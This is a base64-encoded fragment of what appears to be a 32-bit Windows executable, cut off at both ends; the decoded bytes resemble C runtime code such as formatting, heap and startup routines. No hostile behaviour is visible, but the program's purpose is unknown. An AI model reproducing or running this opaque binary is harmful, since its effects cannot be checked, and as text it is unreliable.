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 